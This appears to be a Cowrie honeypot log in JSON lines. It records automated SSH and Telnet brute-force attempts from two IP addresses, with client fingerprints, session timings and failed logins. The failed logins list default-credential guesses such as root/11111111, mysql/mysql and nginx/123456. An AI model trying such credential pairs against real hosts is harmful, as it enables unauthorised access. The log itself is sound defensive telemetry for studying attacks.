{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:03.278348Z","src_ip":"45.153.34.112","session":"c05ac592ff5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.65308618545532,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:04.447307Z","src_ip":"192.119.13.58","session":"60f7abb04f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:04.518459Z","src_ip":"45.153.34.112","session":"c05ac592ff5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43586,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd855eeb02c","protocol":"ssh","message":"New connection: 45.153.34.112:43586 (10.17.0.5:22) [session: 6dd855eeb02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:06.628393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:06.635408Z","src_ip":"45.153.34.112","session":"6dd855eeb02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:06.726881Z","src_ip":"45.153.34.112","session":"6dd855eeb02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:06.991630Z","src_ip":"45.153.34.112","session":"6dd855eeb02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:08.081027Z","src_ip":"45.153.34.112","session":"6dd855eeb02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.177212715148926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:09.963679Z","src_ip":"192.119.13.58","session":"d179e22fa55e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46708,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1e5288c5c9","protocol":"ssh","message":"New connection: 45.153.34.112:46708 (10.17.0.5:22) [session: 9e1e5288c5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:10.061623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:10.072472Z","src_ip":"45.153.34.112","session":"9e1e5288c5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:10.156857Z","src_ip":"45.153.34.112","session":"9e1e5288c5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:10.405867Z","src_ip":"45.153.34.112","session":"9e1e5288c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:11.492553Z","src_ip":"45.153.34.112","session":"9e1e5288c5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.899614572525024,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:12.088753Z","src_ip":"192.119.13.58","session":"425ac8e93e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46710,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a841e05c558","protocol":"ssh","message":"New connection: 45.153.34.112:46710 (10.17.0.5:22) [session: 9a841e05c558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:13.845054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:13.850009Z","src_ip":"45.153.34.112","session":"9a841e05c558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:13.932884Z","src_ip":"45.153.34.112","session":"9a841e05c558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:14.193989Z","src_ip":"45.153.34.112","session":"9a841e05c558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:15.282023Z","src_ip":"45.153.34.112","session":"9a841e05c558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39896,"dst_ip":"10.17.0.5","dst_port":23,"session":"73d70aed74ba","protocol":"telnet","message":"New connection: 192.119.13.58:39896 (10.17.0.5:23) [session: 73d70aed74ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:15.894719Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46716,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf6cd94463f","protocol":"ssh","message":"New connection: 45.153.34.112:46716 (10.17.0.5:22) [session: 1cf6cd94463f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:17.499798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:17.505182Z","src_ip":"45.153.34.112","session":"1cf6cd94463f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46524,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1edc4b77354","protocol":"telnet","message":"New connection: 192.119.13.58:46524 (10.17.0.5:23) [session: a1edc4b77354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:17.567439Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:17.587803Z","src_ip":"45.153.34.112","session":"1cf6cd94463f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:17.843578Z","src_ip":"45.153.34.112","session":"1cf6cd94463f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:18.931995Z","src_ip":"45.153.34.112","session":"1cf6cd94463f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54572,"dst_ip":"10.17.0.5","dst_port":23,"session":"13dc9de66e6e","protocol":"telnet","message":"New connection: 192.119.13.58:54572 (10.17.0.5:23) [session: 13dc9de66e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:19.587262Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34540,"dst_ip":"10.17.0.5","dst_port":22,"session":"daffcdf1815b","protocol":"ssh","message":"New connection: 45.153.34.112:34540 (10.17.0.5:22) [session: daffcdf1815b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:21.004668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:21.008949Z","src_ip":"45.153.34.112","session":"daffcdf1815b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:21.094081Z","src_ip":"45.153.34.112","session":"daffcdf1815b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:21.343929Z","src_ip":"45.153.34.112","session":"daffcdf1815b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:22.440704Z","src_ip":"45.153.34.112","session":"daffcdf1815b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34562,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be8f0593e23","protocol":"ssh","message":"New connection: 45.153.34.112:34562 (10.17.0.5:22) [session: 8be8f0593e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:24.531530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:24.537500Z","src_ip":"45.153.34.112","session":"8be8f0593e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:24.620968Z","src_ip":"45.153.34.112","session":"8be8f0593e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:24.870311Z","src_ip":"45.153.34.112","session":"8be8f0593e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:25.956991Z","src_ip":"45.153.34.112","session":"8be8f0593e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34604,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b736e3bf98","protocol":"ssh","message":"New connection: 45.153.34.112:34604 (10.17.0.5:22) [session: 99b736e3bf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:27.947389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:27.952887Z","src_ip":"45.153.34.112","session":"99b736e3bf98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:28.044656Z","src_ip":"45.153.34.112","session":"99b736e3bf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34878,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4f8c63eb3a","protocol":"telnet","message":"New connection: 192.119.13.58:34878 (10.17.0.5:23) [session: 7c4f8c63eb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:28.443727Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:28.469669Z","src_ip":"45.153.34.112","session":"99b736e3bf98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.55049705505371,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:29.061997Z","src_ip":"192.119.13.58","session":"8abda966dd89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:29.735794Z","src_ip":"45.153.34.112","session":"99b736e3bf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2fdf4da3c7","protocol":"telnet","message":"New connection: 192.119.13.58:47516 (10.17.0.5:23) [session: bd2fdf4da3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:31.438063Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54274,"dst_ip":"10.17.0.5","dst_port":22,"session":"da039ae02c6e","protocol":"ssh","message":"New connection: 45.153.34.112:54274 (10.17.0.5:22) [session: da039ae02c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:31.578408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:31.607817Z","src_ip":"45.153.34.112","session":"da039ae02c6e","protocol":"ssh"}
